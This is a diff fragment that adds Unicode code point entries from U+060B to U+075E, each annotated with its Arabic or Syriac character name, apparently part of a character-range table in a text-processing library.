+ [0x60b, 0x60b], /* AFGHANI SIGN */
+ [0x60c, 0x60c], /* ARABIC COMMA */
+ [0x60d, 0x60d], /* ARABIC DATE SEPARATOR */
+ [0x60e, 0x60e], /* ARABIC POETIC VERSE SIGN */
+ [0x60f, 0x60f], /* ARABIC SIGN MISRA */
+ [0x610, 0x610], /* ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM */
+ [0x611, 0x611], /* ARABIC SIGN ALAYHE ASSALLAM */
+ [0x612, 0x612], /* ARABIC SIGN RAHMATULLAH ALAYHE */
+ [0x613, 0x613], /* ARABIC SIGN RADI ALLAHOU ANHU */
+ [0x614, 0x614], /* ARABIC SIGN TAKHALLUS */
+ [0x615, 0x615], /* ARABIC SMALL HIGH TAH */
+ [0x616, 0x616], /* ARABIC SMALL HIGH LIGATURE ALEF WITH LAM WITH YEH */
+ [0x617, 0x617], /* ARABIC SMALL HIGH ZAIN */
+ [0x618, 0x618], /* ARABIC SMALL FATHA */
+ [0x619, 0x619], /* ARABIC SMALL DAMMA */
+ [0x61a, 0x61a], /* ARABIC SMALL KASRA */
+ [0x61b, 0x61b], /* ARABIC SEMICOLON */
+ [0x61c, 0x61c], /* ARABIC LETTER MARK */
+ [0x61d, 0x61d],
+ [0x61e, 0x61e], /* ARABIC TRIPLE DOT PUNCTUATION MARK */
+ [0x61f, 0x61f], /* ARABIC QUESTION MARK */
+ [0x620, 0x620], /* ARABIC LETTER KASHMIRI YEH */
+ [0x621, 0x621], /* ARABIC LETTER HAMZA (ARABIC LETTER HAMZAH) */
+ [0x622, 0x622], /* ARABIC LETTER ALEF WITH MADDA ABOVE (ARABIC LETTER MADDAH ON ALEF) */
+ [0x623, 0x623], /* ARABIC LETTER ALEF WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON ALEF) */
+ [0x624, 0x624], /* ARABIC LETTER WAW WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON WAW) */
+ [0x625, 0x625], /* ARABIC LETTER ALEF WITH HAMZA BELOW (ARABIC LETTER HAMZAH UNDER ALEF) */
+ [0x626, 0x626], /* ARABIC LETTER YEH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA) */
+ [0x627, 0x627], /* ARABIC LETTER ALEF */
+ [0x628, 0x628], /* ARABIC LETTER BEH (ARABIC LETTER BAA) */
+ [0x629, 0x629], /* ARABIC LETTER TEH MARBUTA (ARABIC LETTER TAA MARBUTAH) */
+ [0x62a, 0x62a], /* ARABIC LETTER TEH (ARABIC LETTER TAA) */
+ [0x62b, 0x62b], /* ARABIC LETTER THEH (ARABIC LETTER THAA) */
+ [0x62c, 0x62c], /* ARABIC LETTER JEEM */
+ [0x62d, 0x62d], /* ARABIC LETTER HAH (ARABIC LETTER HAA) */
+ [0x62e, 0x62e], /* ARABIC LETTER KHAH (ARABIC LETTER KHAA) */
+ [0x62f, 0x62f], /* ARABIC LETTER DAL */
+ [0x630, 0x630], /* ARABIC LETTER THAL */
+ [0x631, 0x631], /* ARABIC LETTER REH (ARABIC LETTER RA) */
+ [0x632, 0x632], /* ARABIC LETTER ZAIN */
+ [0x633, 0x633], /* ARABIC LETTER SEEN */
+ [0x634, 0x634], /* ARABIC LETTER SHEEN */
+ [0x635, 0x635], /* ARABIC LETTER SAD */
+ [0x636, 0x636], /* ARABIC LETTER DAD */
+ [0x637, 0x637], /* ARABIC LETTER TAH */
+ [0x638, 0x638], /* ARABIC LETTER ZAH (ARABIC LETTER DHAH) */
+ [0x639, 0x639], /* ARABIC LETTER AIN */
+ [0x63a, 0x63a], /* ARABIC LETTER GHAIN */
+ [0x63b, 0x63b], /* ARABIC LETTER KEHEH WITH TWO DOTS ABOVE */
+ [0x63c, 0x63c], /* ARABIC LETTER KEHEH WITH THREE DOTS BELOW */
+ [0x63d, 0x63d], /* ARABIC LETTER FARSI YEH WITH INVERTED V */
+ [0x63e, 0x63e], /* ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE */
+ [0x63f, 0x63f], /* ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE */
+ [0x640, 0x640], /* ARABIC TATWEEL */
+ [0x641, 0x641], /* ARABIC LETTER FEH (ARABIC LETTER FA) */
+ [0x642, 0x642], /* ARABIC LETTER QAF */
+ [0x643, 0x643], /* ARABIC LETTER KAF (ARABIC LETTER CAF) */
+ [0x644, 0x644], /* ARABIC LETTER LAM */
+ [0x645, 0x645], /* ARABIC LETTER MEEM */
+ [0x646, 0x646], /* ARABIC LETTER NOON */
+ [0x647, 0x647], /* ARABIC LETTER HEH (ARABIC LETTER HA) */
+ [0x648, 0x648], /* ARABIC LETTER WAW */
+ [0x649, 0x649], /* ARABIC LETTER ALEF MAKSURA (ARABIC LETTER ALEF MAQSURAH) */
+ [0x64a, 0x64a], /* ARABIC LETTER YEH (ARABIC LETTER YA) */
+ [0x64b, 0x64b], /* ARABIC FATHATAN */
+ [0x64c, 0x64c], /* ARABIC DAMMATAN */
+ [0x64d, 0x64d], /* ARABIC KASRATAN */
+ [0x64e, 0x64e], /* ARABIC FATHA (ARABIC FATHAH) */
+ [0x64f, 0x64f], /* ARABIC DAMMA (ARABIC DAMMAH) */
+ [0x650, 0x650], /* ARABIC KASRA (ARABIC KASRAH) */
+ [0x651, 0x651], /* ARABIC SHADDA (ARABIC SHADDAH) */
+ [0x652, 0x652], /* ARABIC SUKUN */
+ [0x653, 0x653], /* ARABIC MADDAH ABOVE */
+ [0x654, 0x654], /* ARABIC HAMZA ABOVE */
+ [0x655, 0x655], /* ARABIC HAMZA BELOW */
+ [0x656, 0x656], /* ARABIC SUBSCRIPT ALEF */
+ [0x657, 0x657], /* ARABIC INVERTED DAMMA */
+ [0x658, 0x658], /* ARABIC MARK NOON GHUNNA */
+ [0x659, 0x659], /* ARABIC ZWARAKAY */
+ [0x65a, 0x65a], /* ARABIC VOWEL SIGN SMALL V ABOVE */
+ [0x65b, 0x65b], /* ARABIC VOWEL SIGN INVERTED SMALL V ABOVE */
+ [0x65c, 0x65c], /* ARABIC VOWEL SIGN DOT BELOW */
+ [0x65d, 0x65d], /* ARABIC REVERSED DAMMA */
+ [0x65e, 0x65e], /* ARABIC FATHA WITH TWO DOTS */
+ [0x65f, 0x65f], /* ARABIC WAVY HAMZA BELOW */
+ [0x660, 0x660], /* ARABIC-INDIC DIGIT ZERO */
+ [0x661, 0x661], /* ARABIC-INDIC DIGIT ONE */
+ [0x662, 0x662], /* ARABIC-INDIC DIGIT TWO */
+ [0x663, 0x663], /* ARABIC-INDIC DIGIT THREE */
+ [0x664, 0x664], /* ARABIC-INDIC DIGIT FOUR */
+ [0x665, 0x665], /* ARABIC-INDIC DIGIT FIVE */
+ [0x666, 0x666], /* ARABIC-INDIC DIGIT SIX */
+ [0x667, 0x667], /* ARABIC-INDIC DIGIT SEVEN */
+ [0x668, 0x668], /* ARABIC-INDIC DIGIT EIGHT */
+ [0x669, 0x669], /* ARABIC-INDIC DIGIT NINE */
+ [0x66a, 0x66a], /* ARABIC PERCENT SIGN */
+ [0x66b, 0x66b], /* ARABIC DECIMAL SEPARATOR */
+ [0x66c, 0x66c], /* ARABIC THOUSANDS SEPARATOR */
+ [0x66d, 0x66d], /* ARABIC FIVE POINTED STAR */
+ [0x66e, 0x66e], /* ARABIC LETTER DOTLESS BEH */
+ [0x66f, 0x66f], /* ARABIC LETTER DOTLESS QAF */
+ [0x670, 0x670], /* ARABIC LETTER SUPERSCRIPT ALEF (ARABIC ALEF ABOVE) */
+ [0x671, 0x671], /* ARABIC LETTER ALEF WASLA (ARABIC LETTER HAMZAT WASL ON ALEF) */
+ [0x672, 0x672], /* ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE (ARABIC LETTER WAVY HAMZAH ON ALEF) */
+ [0x673, 0x673], /* ARABIC LETTER ALEF WITH WAVY HAMZA BELOW (ARABIC LETTER WAVY HAMZAH UNDER ALEF) */
+ [0x674, 0x674], /* ARABIC LETTER HIGH HAMZA (ARABIC LETTER HIGH HAMZAH) */
+ [0x675, 0x675], /* ARABIC LETTER HIGH HAMZA ALEF (ARABIC LETTER HIGH HAMZAH ALEF) */
+ [0x676, 0x676], /* ARABIC LETTER HIGH HAMZA WAW (ARABIC LETTER HIGH HAMZAH WAW) */
+ [0x677, 0x677], /* ARABIC LETTER U WITH HAMZA ABOVE (ARABIC LETTER HIGH HAMZAH WAW WITH DAMMAH) */
+ [0x678, 0x678], /* ARABIC LETTER HIGH HAMZA YEH (ARABIC LETTER HIGH HAMZAH YA) */
+ [0x679, 0x679], /* ARABIC LETTER TTEH (ARABIC LETTER TAA WITH SMALL TAH) */
+ [0x67a, 0x67a], /* ARABIC LETTER TTEHEH (ARABIC LETTER TAA WITH TWO DOTS VERTICAL ABOVE) */
+ [0x67b, 0x67b], /* ARABIC LETTER BEEH (ARABIC LETTER BAA WITH TWO DOTS VERTICAL BELOW) */
+ [0x67c, 0x67c], /* ARABIC LETTER TEH WITH RING (ARABIC LETTER TAA WITH RING) */
+ [0x67d, 0x67d], /* ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER TAA WITH THREE DOTS ABOVE DOWNWARD) */
+ [0x67e, 0x67e], /* ARABIC LETTER PEH (ARABIC LETTER TAA WITH THREE DOTS BELOW) */
+ [0x67f, 0x67f], /* ARABIC LETTER TEHEH (ARABIC LETTER TAA WITH FOUR DOTS ABOVE) */
+ [0x680, 0x680], /* ARABIC LETTER BEHEH (ARABIC LETTER BAA WITH FOUR DOTS BELOW) */
+ [0x681, 0x681], /* ARABIC LETTER HAH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HAA) */
+ [0x682, 0x682], /* ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE (ARABIC LETTER HAA WITH TWO DOTS VERTICAL ABOVE) */
+ [0x683, 0x683], /* ARABIC LETTER NYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS) */
+ [0x684, 0x684], /* ARABIC LETTER DYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS VERTICAL) */
+ [0x685, 0x685], /* ARABIC LETTER HAH WITH THREE DOTS ABOVE (ARABIC LETTER HAA WITH THREE DOTS ABOVE) */
+ [0x686, 0x686], /* ARABIC LETTER TCHEH (ARABIC LETTER HAA WITH MIDDLE THREE DOTS DOWNWARD) */
+ [0x687, 0x687], /* ARABIC LETTER TCHEHEH (ARABIC LETTER HAA WITH MIDDLE FOUR DOTS) */
+ [0x688, 0x688], /* ARABIC LETTER DDAL (ARABIC LETTER DAL WITH SMALL TAH) */
+ [0x689, 0x689], /* ARABIC LETTER DAL WITH RING */
+ [0x68a, 0x68a], /* ARABIC LETTER DAL WITH DOT BELOW */
+ [0x68b, 0x68b], /* ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH */
+ [0x68c, 0x68c], /* ARABIC LETTER DAHAL (ARABIC LETTER DAL WITH TWO DOTS ABOVE) */
+ [0x68d, 0x68d], /* ARABIC LETTER DDAHAL (ARABIC LETTER DAL WITH TWO DOTS BELOW) */
+ [0x68e, 0x68e], /* ARABIC LETTER DUL (ARABIC LETTER DAL WITH THREE DOTS ABOVE) */
+ [0x68f, 0x68f], /* ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARD) */
+ [0x690, 0x690], /* ARABIC LETTER DAL WITH FOUR DOTS ABOVE */
+ [0x691, 0x691], /* ARABIC LETTER RREH (ARABIC LETTER RA WITH SMALL TAH) */
+ [0x692, 0x692], /* ARABIC LETTER REH WITH SMALL V (ARABIC LETTER RA WITH SMALL V) */
+ [0x693, 0x693], /* ARABIC LETTER REH WITH RING (ARABIC LETTER RA WITH RING) */
+ [0x694, 0x694], /* ARABIC LETTER REH WITH DOT BELOW (ARABIC LETTER RA WITH DOT BELOW) */
+ [0x695, 0x695], /* ARABIC LETTER REH WITH SMALL V BELOW (ARABIC LETTER RA WITH SMALL V BELOW) */
+ [0x696, 0x696], /* ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE (ARABIC LETTER RA WITH DOT BELOW AND DOT ABOVE) */
+ [0x697, 0x697], /* ARABIC LETTER REH WITH TWO DOTS ABOVE (ARABIC LETTER RA WITH TWO DOTS ABOVE) */
+ [0x698, 0x698], /* ARABIC LETTER JEH (ARABIC LETTER RA WITH THREE DOTS ABOVE) */
+ [0x699, 0x699], /* ARABIC LETTER REH WITH FOUR DOTS ABOVE (ARABIC LETTER RA WITH FOUR DOTS ABOVE) */
+ [0x69a, 0x69a], /* ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE */
+ [0x69b, 0x69b], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW */
+ [0x69c, 0x69c], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE */
+ [0x69d, 0x69d], /* ARABIC LETTER SAD WITH TWO DOTS BELOW */
+ [0x69e, 0x69e], /* ARABIC LETTER SAD WITH THREE DOTS ABOVE */
+ [0x69f, 0x69f], /* ARABIC LETTER TAH WITH THREE DOTS ABOVE */
+ [0x6a0, 0x6a0], /* ARABIC LETTER AIN WITH THREE DOTS ABOVE */
+ [0x6a1, 0x6a1], /* ARABIC LETTER DOTLESS FEH (ARABIC LETTER DOTLESS FA) */
+ [0x6a2, 0x6a2], /* ARABIC LETTER FEH WITH DOT MOVED BELOW (ARABIC LETTER FA WITH DOT MOVED BELOW) */
+ [0x6a3, 0x6a3], /* ARABIC LETTER FEH WITH DOT BELOW (ARABIC LETTER FA WITH DOT BELOW) */
+ [0x6a4, 0x6a4], /* ARABIC LETTER VEH (ARABIC LETTER FA WITH THREE DOTS ABOVE) */
+ [0x6a5, 0x6a5], /* ARABIC LETTER FEH WITH THREE DOTS BELOW (ARABIC LETTER FA WITH THREE DOTS BELOW) */
+ [0x6a6, 0x6a6], /* ARABIC LETTER PEHEH (ARABIC LETTER FA WITH FOUR DOTS ABOVE) */
+ [0x6a7, 0x6a7], /* ARABIC LETTER QAF WITH DOT ABOVE */
+ [0x6a8, 0x6a8], /* ARABIC LETTER QAF WITH THREE DOTS ABOVE */
+ [0x6a9, 0x6a9], /* ARABIC LETTER KEHEH (ARABIC LETTER OPEN CAF) */
+ [0x6aa, 0x6aa], /* ARABIC LETTER SWASH KAF (ARABIC LETTER SWASH CAF) */
+ [0x6ab, 0x6ab], /* ARABIC LETTER KAF WITH RING (ARABIC LETTER CAF WITH RING) */
+ [0x6ac, 0x6ac], /* ARABIC LETTER KAF WITH DOT ABOVE (ARABIC LETTER CAF WITH DOT ABOVE) */
+ [0x6ad, 0x6ad], /* ARABIC LETTER NG (ARABIC LETTER CAF WITH THREE DOTS ABOVE) */
+ [0x6ae, 0x6ae], /* ARABIC LETTER KAF WITH THREE DOTS BELOW (ARABIC LETTER CAF WITH THREE DOTS BELOW) */
+ [0x6af, 0x6af], /* ARABIC LETTER GAF */
+ [0x6b0, 0x6b0], /* ARABIC LETTER GAF WITH RING */
+ [0x6b1, 0x6b1], /* ARABIC LETTER NGOEH (ARABIC LETTER GAF WITH TWO DOTS ABOVE) */
+ [0x6b2, 0x6b2], /* ARABIC LETTER GAF WITH TWO DOTS BELOW */
+ [0x6b3, 0x6b3], /* ARABIC LETTER GUEH (ARABIC LETTER GAF WITH TWO DOTS VERTICAL BELOW) */
+ [0x6b4, 0x6b4], /* ARABIC LETTER GAF WITH THREE DOTS ABOVE */
+ [0x6b5, 0x6b5], /* ARABIC LETTER LAM WITH SMALL V */
+ [0x6b6, 0x6b6], /* ARABIC LETTER LAM WITH DOT ABOVE */
+ [0x6b7, 0x6b7], /* ARABIC LETTER LAM WITH THREE DOTS ABOVE */
+ [0x6b8, 0x6b8], /* ARABIC LETTER LAM WITH THREE DOTS BELOW */
+ [0x6b9, 0x6b9], /* ARABIC LETTER NOON WITH DOT BELOW */
+ [0x6ba, 0x6ba], /* ARABIC LETTER NOON GHUNNA (ARABIC LETTER DOTLESS NOON) */
+ [0x6bb, 0x6bb], /* ARABIC LETTER RNOON (ARABIC LETTER DOTLESS NOON WITH SMALL TAH) */
+ [0x6bc, 0x6bc], /* ARABIC LETTER NOON WITH RING */
+ [0x6bd, 0x6bd], /* ARABIC LETTER NOON WITH THREE DOTS ABOVE */
+ [0x6be, 0x6be], /* ARABIC LETTER HEH DOACHASHMEE (ARABIC LETTER KNOTTED HA) */
+ [0x6bf, 0x6bf], /* ARABIC LETTER TCHEH WITH DOT ABOVE */
+ [0x6c0, 0x6c0], /* ARABIC LETTER HEH WITH YEH ABOVE (ARABIC LETTER HAMZAH ON HA) */
+ [0x6c1, 0x6c1], /* ARABIC LETTER HEH GOAL (ARABIC LETTER HA GOAL) */
+ [0x6c2, 0x6c2], /* ARABIC LETTER HEH GOAL WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HA GOAL) */
+ [0x6c3, 0x6c3], /* ARABIC LETTER TEH MARBUTA GOAL (ARABIC LETTER TAA MARBUTAH GOAL) */
+ [0x6c4, 0x6c4], /* ARABIC LETTER WAW WITH RING */
+ [0x6c5, 0x6c5], /* ARABIC LETTER KIRGHIZ OE (ARABIC LETTER WAW WITH BAR) */
+ [0x6c6, 0x6c6], /* ARABIC LETTER OE (ARABIC LETTER WAW WITH SMALL V) */
+ [0x6c7, 0x6c7], /* ARABIC LETTER U (ARABIC LETTER WAW WITH DAMMAH) */
+ [0x6c8, 0x6c8], /* ARABIC LETTER YU (ARABIC LETTER WAW WITH ALEF ABOVE) */
+ [0x6c9, 0x6c9], /* ARABIC LETTER KIRGHIZ YU (ARABIC LETTER WAW WITH INVERTED SMALL V) */
+ [0x6ca, 0x6ca], /* ARABIC LETTER WAW WITH TWO DOTS ABOVE */
+ [0x6cb, 0x6cb], /* ARABIC LETTER VE (ARABIC LETTER WAW WITH THREE DOTS ABOVE) */
+ [0x6cc, 0x6cc], /* ARABIC LETTER FARSI YEH (ARABIC LETTER DOTLESS YA) */
+ [0x6cd, 0x6cd], /* ARABIC LETTER YEH WITH TAIL (ARABIC LETTER YA WITH TAIL) */
+ [0x6ce, 0x6ce], /* ARABIC LETTER YEH WITH SMALL V (ARABIC LETTER YA WITH SMALL V) */
+ [0x6cf, 0x6cf], /* ARABIC LETTER WAW WITH DOT ABOVE */
+ [0x6d0, 0x6d0], /* ARABIC LETTER E (ARABIC LETTER YA WITH TWO DOTS VERTICAL BELOW) */
+ [0x6d1, 0x6d1], /* ARABIC LETTER YEH WITH THREE DOTS BELOW (ARABIC LETTER YA WITH THREE DOTS BELOW) */
+ [0x6d2, 0x6d2], /* ARABIC LETTER YEH BARREE (ARABIC LETTER YA BARREE) */
+ [0x6d3, 0x6d3], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA BARREE) */
+ [0x6d4, 0x6d4], /* ARABIC FULL STOP (ARABIC PERIOD) */
+ [0x6d5, 0x6d5], /* ARABIC LETTER AE */
+ [0x6d6, 0x6d6], /* ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA */
+ [0x6d7, 0x6d7], /* ARABIC SMALL HIGH LIGATURE QAF WITH LAM WITH ALEF MAKSURA */
+ [0x6d8, 0x6d8], /* ARABIC SMALL HIGH MEEM INITIAL FORM */
+ [0x6d9, 0x6d9], /* ARABIC SMALL HIGH LAM ALEF */
+ [0x6da, 0x6da], /* ARABIC SMALL HIGH JEEM */
+ [0x6db, 0x6db], /* ARABIC SMALL HIGH THREE DOTS */
+ [0x6dc, 0x6dc], /* ARABIC SMALL HIGH SEEN */
+ [0x6dd, 0x6dd], /* ARABIC END OF AYAH */
+ [0x6de, 0x6de], /* ARABIC START OF RUB EL HIZB */
+ [0x6df, 0x6df], /* ARABIC SMALL HIGH ROUNDED ZERO */
+ [0x6e0, 0x6e0], /* ARABIC SMALL HIGH UPRIGHT RECTANGULAR ZERO */
+ [0x6e1, 0x6e1], /* ARABIC SMALL HIGH DOTLESS HEAD OF KHAH */
+ [0x6e2, 0x6e2], /* ARABIC SMALL HIGH MEEM ISOLATED FORM */
+ [0x6e3, 0x6e3], /* ARABIC SMALL LOW SEEN */
+ [0x6e4, 0x6e4], /* ARABIC SMALL HIGH MADDA */
+ [0x6e5, 0x6e5], /* ARABIC SMALL WAW */
+ [0x6e6, 0x6e6], /* ARABIC SMALL YEH */
+ [0x6e7, 0x6e7], /* ARABIC SMALL HIGH YEH */
+ [0x6e8, 0x6e8], /* ARABIC SMALL HIGH NOON */
+ [0x6e9, 0x6e9], /* ARABIC PLACE OF SAJDAH */
+ [0x6ea, 0x6ea], /* ARABIC EMPTY CENTRE LOW STOP */
+ [0x6eb, 0x6eb], /* ARABIC EMPTY CENTRE HIGH STOP */
+ [0x6ec, 0x6ec], /* ARABIC ROUNDED HIGH STOP WITH FILLED CENTRE */
+ [0x6ed, 0x6ed], /* ARABIC SMALL LOW MEEM */
+ [0x6ee, 0x6ee], /* ARABIC LETTER DAL WITH INVERTED V */
+ [0x6ef, 0x6ef], /* ARABIC LETTER REH WITH INVERTED V */
+ [0x6f0, 0x6f0], /* EXTENDED ARABIC-INDIC DIGIT ZERO (EASTERN ARABIC-INDIC DIGIT ZERO) */
+ [0x6f1, 0x6f1], /* EXTENDED ARABIC-INDIC DIGIT ONE (EASTERN ARABIC-INDIC DIGIT ONE) */
+ [0x6f2, 0x6f2], /* EXTENDED ARABIC-INDIC DIGIT TWO (EASTERN ARABIC-INDIC DIGIT TWO) */
+ [0x6f3, 0x6f3], /* EXTENDED ARABIC-INDIC DIGIT THREE (EASTERN ARABIC-INDIC DIGIT THREE) */
+ [0x6f4, 0x6f4], /* EXTENDED ARABIC-INDIC DIGIT FOUR (EASTERN ARABIC-INDIC DIGIT FOUR) */
+ [0x6f5, 0x6f5], /* EXTENDED ARABIC-INDIC DIGIT FIVE (EASTERN ARABIC-INDIC DIGIT FIVE) */
+ [0x6f6, 0x6f6], /* EXTENDED ARABIC-INDIC DIGIT SIX (EASTERN ARABIC-INDIC DIGIT SIX) */
+ [0x6f7, 0x6f7], /* EXTENDED ARABIC-INDIC DIGIT SEVEN (EASTERN ARABIC-INDIC DIGIT SEVEN) */
+ [0x6f8, 0x6f8], /* EXTENDED ARABIC-INDIC DIGIT EIGHT (EASTERN ARABIC-INDIC DIGIT EIGHT) */
+ [0x6f9, 0x6f9], /* EXTENDED ARABIC-INDIC DIGIT NINE (EASTERN ARABIC-INDIC DIGIT NINE) */
+ [0x6fa, 0x6fa], /* ARABIC LETTER SHEEN WITH DOT BELOW */
+ [0x6fb, 0x6fb], /* ARABIC LETTER DAD WITH DOT BELOW */
+ [0x6fc, 0x6fc], /* ARABIC LETTER GHAIN WITH DOT BELOW */
+ [0x6fd, 0x6fd], /* ARABIC SIGN SINDHI AMPERSAND */
+ [0x6fe, 0x6fe], /* ARABIC SIGN SINDHI POSTPOSITION MEN */
+ [0x6ff, 0x6ff], /* ARABIC LETTER HEH WITH INVERTED V */
+ [0x700, 0x700], /* SYRIAC END OF PARAGRAPH */
+ [0x701, 0x701], /* SYRIAC SUPRALINEAR FULL STOP */
+ [0x702, 0x702], /* SYRIAC SUBLINEAR FULL STOP */
+ [0x703, 0x703], /* SYRIAC SUPRALINEAR COLON */
+ [0x704, 0x704], /* SYRIAC SUBLINEAR COLON */
+ [0x705, 0x705], /* SYRIAC HORIZONTAL COLON */
+ [0x706, 0x706], /* SYRIAC COLON SKEWED LEFT */
+ [0x707, 0x707], /* SYRIAC COLON SKEWED RIGHT */
+ [0x708, 0x708], /* SYRIAC SUPRALINEAR COLON SKEWED LEFT */
+ [0x709, 0x709], /* SYRIAC SUBLINEAR COLON SKEWED RIGHT */
+ [0x70a, 0x70a], /* SYRIAC CONTRACTION */
+ [0x70b, 0x70b], /* SYRIAC HARKLEAN OBELUS */
+ [0x70c, 0x70c], /* SYRIAC HARKLEAN METOBELUS */
+ [0x70d, 0x70d], /* SYRIAC HARKLEAN ASTERISCUS */
+ [0x70e, 0x70e],
+ [0x70f, 0x70f], /* SYRIAC ABBREVIATION MARK */
+ [0x710, 0x710], /* SYRIAC LETTER ALAPH */
+ [0x711, 0x711], /* SYRIAC LETTER SUPERSCRIPT ALAPH */
+ [0x712, 0x712], /* SYRIAC LETTER BETH */
+ [0x713, 0x713], /* SYRIAC LETTER GAMAL */
+ [0x714, 0x714], /* SYRIAC LETTER GAMAL GARSHUNI */
+ [0x715, 0x715], /* SYRIAC LETTER DALATH */
+ [0x716, 0x716], /* SYRIAC LETTER DOTLESS DALATH RISH */
+ [0x717, 0x717], /* SYRIAC LETTER HE */
+ [0x718, 0x718], /* SYRIAC LETTER WAW */
+ [0x719, 0x719], /* SYRIAC LETTER ZAIN */
+ [0x71a, 0x71a], /* SYRIAC LETTER HETH */
+ [0x71b, 0x71b], /* SYRIAC LETTER TETH */
+ [0x71c, 0x71c], /* SYRIAC LETTER TETH GARSHUNI */
+ [0x71d, 0x71d], /* SYRIAC LETTER YUDH */
+ [0x71e, 0x71e], /* SYRIAC LETTER YUDH HE */
+ [0x71f, 0x71f], /* SYRIAC LETTER KAPH */
+ [0x720, 0x720], /* SYRIAC LETTER LAMADH */
+ [0x721, 0x721], /* SYRIAC LETTER MIM */
+ [0x722, 0x722], /* SYRIAC LETTER NUN */
+ [0x723, 0x723], /* SYRIAC LETTER SEMKATH */
+ [0x724, 0x724], /* SYRIAC LETTER FINAL SEMKATH */
+ [0x725, 0x725], /* SYRIAC LETTER E */
+ [0x726, 0x726], /* SYRIAC LETTER PE */
+ [0x727, 0x727], /* SYRIAC LETTER REVERSED PE */
+ [0x728, 0x728], /* SYRIAC LETTER SADHE */
+ [0x729, 0x729], /* SYRIAC LETTER QAPH */
+ [0x72a, 0x72a], /* SYRIAC LETTER RISH */
+ [0x72b, 0x72b], /* SYRIAC LETTER SHIN */
+ [0x72c, 0x72c], /* SYRIAC LETTER TAW */
+ [0x72d, 0x72d], /* SYRIAC LETTER PERSIAN BHETH */
+ [0x72e, 0x72e], /* SYRIAC LETTER PERSIAN GHAMAL */
+ [0x72f, 0x72f], /* SYRIAC LETTER PERSIAN DHALATH */
+ [0x730, 0x730], /* SYRIAC PTHAHA ABOVE */
+ [0x731, 0x731], /* SYRIAC PTHAHA BELOW */
+ [0x732, 0x732], /* SYRIAC PTHAHA DOTTED */
+ [0x733, 0x733], /* SYRIAC ZQAPHA ABOVE */
+ [0x734, 0x734], /* SYRIAC ZQAPHA BELOW */
+ [0x735, 0x735], /* SYRIAC ZQAPHA DOTTED */
+ [0x736, 0x736], /* SYRIAC RBASA ABOVE */
+ [0x737, 0x737], /* SYRIAC RBASA BELOW */
+ [0x738, 0x738], /* SYRIAC DOTTED ZLAMA HORIZONTAL */
+ [0x739, 0x739], /* SYRIAC DOTTED ZLAMA ANGULAR */
+ [0x73a, 0x73a], /* SYRIAC HBASA ABOVE */
+ [0x73b, 0x73b], /* SYRIAC HBASA BELOW */
+ [0x73c, 0x73c], /* SYRIAC HBASA-ESASA DOTTED */
+ [0x73d, 0x73d], /* SYRIAC ESASA ABOVE */
+ [0x73e, 0x73e], /* SYRIAC ESASA BELOW */
+ [0x73f, 0x73f], /* SYRIAC RWAHA */
+ [0x740, 0x740], /* SYRIAC FEMININE DOT */
+ [0x741, 0x741], /* SYRIAC QUSHSHAYA */
+ [0x742, 0x742], /* SYRIAC RUKKAKHA */
+ [0x743, 0x743], /* SYRIAC TWO VERTICAL DOTS ABOVE */
+ [0x744, 0x744], /* SYRIAC TWO VERTICAL DOTS BELOW */
+ [0x745, 0x745], /* SYRIAC THREE DOTS ABOVE */
+ [0x746, 0x746], /* SYRIAC THREE DOTS BELOW */
+ [0x747, 0x747], /* SYRIAC OBLIQUE LINE ABOVE */
+ [0x748, 0x748], /* SYRIAC OBLIQUE LINE BELOW */
+ [0x749, 0x749], /* SYRIAC MUSIC */
+ [0x74a, 0x74a], /* SYRIAC BARREKH */
+ [0x74b, 0x74b],
+ [0x74c, 0x74c],
+ [0x74d, 0x74d], /* SYRIAC LETTER SOGDIAN ZHAIN */
+ [0x74e, 0x74e], /* SYRIAC LETTER SOGDIAN KHAPH */
+ [0x74f, 0x74f], /* SYRIAC LETTER SOGDIAN FE */
+ [0x750, 0x750], /* ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW */
+ [0x751, 0x751], /* ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ [0x752, 0x752], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ [0x753, 0x753], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE */
+ [0x754, 0x754], /* ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ [0x755, 0x755], /* ARABIC LETTER BEH WITH INVERTED SMALL V BELOW */
+ [0x756, 0x756], /* ARABIC LETTER BEH WITH SMALL V */
+ [0x757, 0x757], /* ARABIC LETTER HAH WITH TWO DOTS ABOVE */
+ [0x758, 0x758], /* ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW */
+ [0x759, 0x759], /* ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH */
+ [0x75a, 0x75a], /* ARABIC LETTER DAL WITH INVERTED SMALL V BELOW */
+ [0x75b, 0x75b], /* ARABIC LETTER REH WITH STROKE */
+ [0x75c, 0x75c], /* ARABIC LETTER SEEN WITH FOUR DOTS ABOVE */
+ [0x75d, 0x75d], /* ARABIC LETTER AIN WITH TWO DOTS ABOVE */
+ [0x75e, 0x75e], /* ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE */
